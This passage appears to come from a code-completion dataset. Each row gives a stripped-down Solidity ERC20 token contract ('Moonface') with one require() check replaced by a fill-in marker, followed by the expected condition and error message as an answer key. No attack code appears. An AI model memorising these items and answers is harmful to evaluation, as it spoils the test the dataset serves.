) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Moonface is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public marketingWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool public swapWithLimit;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxWalletLimitStateChanged(bool maxWalletLimit);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("Moonface", "MOONFACE")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeMarketingWallet(address _marketingWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function setSwapWithLimit(bool _swapWithLimit) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
//=======MaxWallet=======//
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
bool public maxWalletLimitEnabled = true;
uint256 public maxWalletAmount;
function setEnableMaxWalletLimit(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
require(<FILL_ME>)
maxWalletAmount = _maxWalletAmount * (10 ** decimals());
emit MaxWalletLimitAmountChanged(maxWalletAmount);
}
function setExcludeFromMaxWallet(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
//=======MaxTransaction=======//
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public maxTransactionLimitEnabled = true;
uint256 public maxTransactionAmount;
function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
}
function setExcludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
}
| _maxWalletAmount>=(totalSupply()/(10**decimals()))/100,"Max wallet percentage cannot be lower than 1%" | 79,784 | _maxWalletAmount>=(totalSupply()/(10**decimals()))/100 |
"Account is already set to that state" | /**
website: https://moonface.care
twitter: https://twitter.com/Moonfaceerc
telegram: https://t.me/MOONFACEPORTAL
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Moonface is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public marketingWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool public swapWithLimit;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxWalletLimitStateChanged(bool maxWalletLimit);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("Moonface", "MOONFACE")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeMarketingWallet(address _marketingWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function setSwapWithLimit(bool _swapWithLimit) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
//=======MaxWallet=======//
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
bool public maxWalletLimitEnabled = true;
uint256 public maxWalletAmount;
function setEnableMaxWalletLimit(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
}
function setExcludeFromMaxWallet(address account, bool exclude) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromMaxWalletLimit[account] = exclude;
emit ExcludedFromMaxWalletLimit(account, exclude);
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
//=======MaxTransaction=======//
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public maxTransactionLimitEnabled = true;
uint256 public maxTransactionAmount;
function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
}
function setExcludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
}
| _isExcludedFromMaxWalletLimit[account]!=exclude,"Account is already set to that state" | 79,784 | _isExcludedFromMaxWalletLimit[account]!=exclude |
"Max Transaction limis cannot be lower than 0.1% of total supply" | /**
website: https://moonface.care
twitter: https://twitter.com/Moonfaceerc
telegram: https://t.me/MOONFACEPORTAL
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Moonface is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public marketingWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool public swapWithLimit;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxWalletLimitStateChanged(bool maxWalletLimit);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("Moonface", "MOONFACE")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeMarketingWallet(address _marketingWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function setSwapWithLimit(bool _swapWithLimit) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
//=======MaxWallet=======//
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
bool public maxWalletLimitEnabled = true;
uint256 public maxWalletAmount;
function setEnableMaxWalletLimit(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
}
function setExcludeFromMaxWallet(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
//=======MaxTransaction=======//
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public maxTransactionLimitEnabled = true;
uint256 public maxTransactionAmount;
function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
require(<FILL_ME>)
maxTransactionAmount = _maxTransactionAmount * (10 ** decimals());
emit MaxTransactionLimitAmountChanged(maxTransactionAmount);
}
function setExcludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
}
| _maxTransactionAmount>=(totalSupply()/(10**decimals()))/1000,"Max Transaction limis cannot be lower than 0.1% of total supply" | 79,784 | _maxTransactionAmount>=(totalSupply()/(10**decimals()))/1000 |
"Account is already set to that state" | /**
website: https://moonface.care
twitter: https://twitter.com/Moonfaceerc
telegram: https://t.me/MOONFACEPORTAL
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Moonface is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public marketingWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool public swapWithLimit;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxWalletLimitStateChanged(bool maxWalletLimit);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("Moonface", "MOONFACE")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
